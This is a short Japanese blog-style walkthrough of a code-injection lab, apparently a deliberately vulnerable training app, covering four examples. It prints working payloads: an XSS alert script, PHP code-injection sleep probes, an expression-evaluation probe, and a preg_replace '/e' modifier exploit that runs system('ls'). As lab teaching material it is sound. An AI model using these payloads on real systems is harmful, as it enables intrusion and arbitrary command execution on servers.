Hello there, ('ω')ノ
今回は、Code injectionを。
Example1にアクセスすると。
リクエストヘッダからXSSの脆弱性の可能性が。
とりあえず、アクティブスキャンを。
予想どおり、XSSの脆弱性がみつかって。
下記のペイロードをデコードして内容を確認して。
znn2x%3cscript%3ealert(1)%3c%2fscript%3eogkqu
下記を実行すると確認できて。
<script>alert(1)</script>
次にコードインジェクションのペイロードをデコードへ。
デコードしてペイロードの内容を確認して。
下記を実行すると20秒ほど経過してレスポンスが。
{${sleep(hexdec(dechex(20)))}}
次にExample2を。
リクエスト内容を確認して。
動作確認をしながら。
リクエストヘッダやパラメータを確認して。
アクティブスキャンすると下記のパラメータを確認せよとのことで。
${8104*3840}
ペイロードを挿入すると計算式が機能しているようで。
${8104*3840}
下記のペイロードを確認して。
{${sleep(hexdec(dechex(20)))}}
今回は、Example3がやっかいで。
まずは、パラメータと結果から動作確認を。
これで、パラメータの関係性がわかって。
new=hacker&pattern=/lamer/&base=Hello lamer
⇩
Hello hacker
new=hacker&pattern=/lamer111/&base=Hello lamer
⇩
Hello lamer
new=hacker&pattern=/lamer111/&base=Hello lamer111
⇩
Hello hacker
new=hacker222&pattern=/lamer111/&base=Hello lamer111
⇩
Hello hacker222
ちなみに2つ目のパラメータを変更すると下記のエラーが。
new=hacker&pattern=/lamer/a&base=Hello lamer
⇩
Warning: preg_replace(): Unknown modifier 'a'
preg_replace()の仕様を確認して。
https://www.php.net/manual/ja/function.preg-replace.php
preg_replace()の脆弱性を探して。
https://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-003434.html
2つ目のパラメータを変更していくとエラーの内容に変化が。
new=hacker&pattern=/lamer/e&base=Hello lamer
⇩
Use of undefined constant hacker - assumed 'hacker'
アクティブスキャンしても検出されず。
下記のペイロードを挿入すると文字列として扱われて。
new=system('ls')&pattern=/lamer/&base=Hello lamer
さきほど変化のあった2つ目のパラメータと組み合わせると脆弱性が発見されて。
このようなケースがツール頼りだと見つけられない脆弱性で。
2つ以上のパラメータが連携しているものは要注意かと。
new=system('ls')&pattern=/lamer/e&base=Hello lamer
最後にExample4もこれまで同じようにアクティブスキャンして。
ペイロードを実行して確認を。
Best regards, (^^ゞ